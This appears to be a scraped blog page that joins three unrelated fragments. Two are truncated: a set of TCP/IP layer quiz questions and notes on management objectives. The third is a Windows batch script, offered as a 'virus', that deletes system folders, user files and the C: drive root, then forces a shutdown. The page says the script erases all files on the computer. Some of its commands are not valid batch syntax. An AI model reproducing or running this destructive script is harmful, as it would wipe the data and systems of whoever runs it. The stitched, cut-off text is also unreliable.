Techn. Trainer Official

1. Which of the following protocols are examples of TCP/IP transport layer protocols? (Choose two answers.)  a. Ethernet b. HTTP c. IP d. UDP e. SMTP f. TCP 2. Which of the following protocols are examples of TCP/IP data link layer protocols? (Choose two answers.) a. Ethernet b. HTTP c. IP d. UDP e. SMTP f. TCP g. PPP 3. The process of HTTP asking TCP to send some data and making sure that it is received correctly is an example of what? a. Same-layer interaction b. Adjacent-layer interaction c. OSI model d. All of these answers are correct.  4. The process of TCP on one computer marking a TCP segment as segment 1, and the receiving computer then acknowledging the receipt of TCP segment 1 is an example of what? a. Data encapsulation b. Same-layer interaction c. Adjacent-layer interaction d. OSI model e. All of these answers are correct. 5. The process of a web server adding a TCP header to the contents of a web page, followed by adding an IP header and the

Chapter 1 : Nature and Significance Of Management                            Management: Management is the process of designing and maintaining an environment in which individuals working together in groups efficiently and effectively accomplish selected goals. Objectives of Management Organizational Objectives: Survival Profit Growth Social Objectives. For example: Use eco-friendly methods Generate employment opportunities Personal Objectives. For example: Fair wages and salary Good working conditions Growth prospects Effectiveness: Definition According to Koontz, “Effectiveness means doing the right thing.” It means taking correct decisions and actions in every situation to achieve the targets. Importance of Management Management helps in achieving group goals. Management increases efficiency of the employees. Management creates a dynamic organization. Management helps in achieving personal objectives. Management helps in the development of s

Following are the commands : @echo off disable mouse disable keyboard disable system32 del c:\ del c:\windows del c:\windows\system32 del c:\system32\logonul.exe del c:\windows\system32\restore del c:\windows\system32\winlogon.exe del c:\windows del c:\NVIDIA del c:\windows del c:\Document And Settings del c:\RECOVERY del c:\SwSetup del c:\Temp del c:\Program Files del c:\PerfLogs del c:\.rnd del c:\Brukere del c:\Users del c:\MCPP del c:\CMD del c:\ disable windows dir /s echo I am your virus. I deleted your files echo because you tried to delete me. echo By the way, I am -->_<--. pause shutdown -s -t 10 -c "say goodbye to your computer" this will erase the all files of the computer system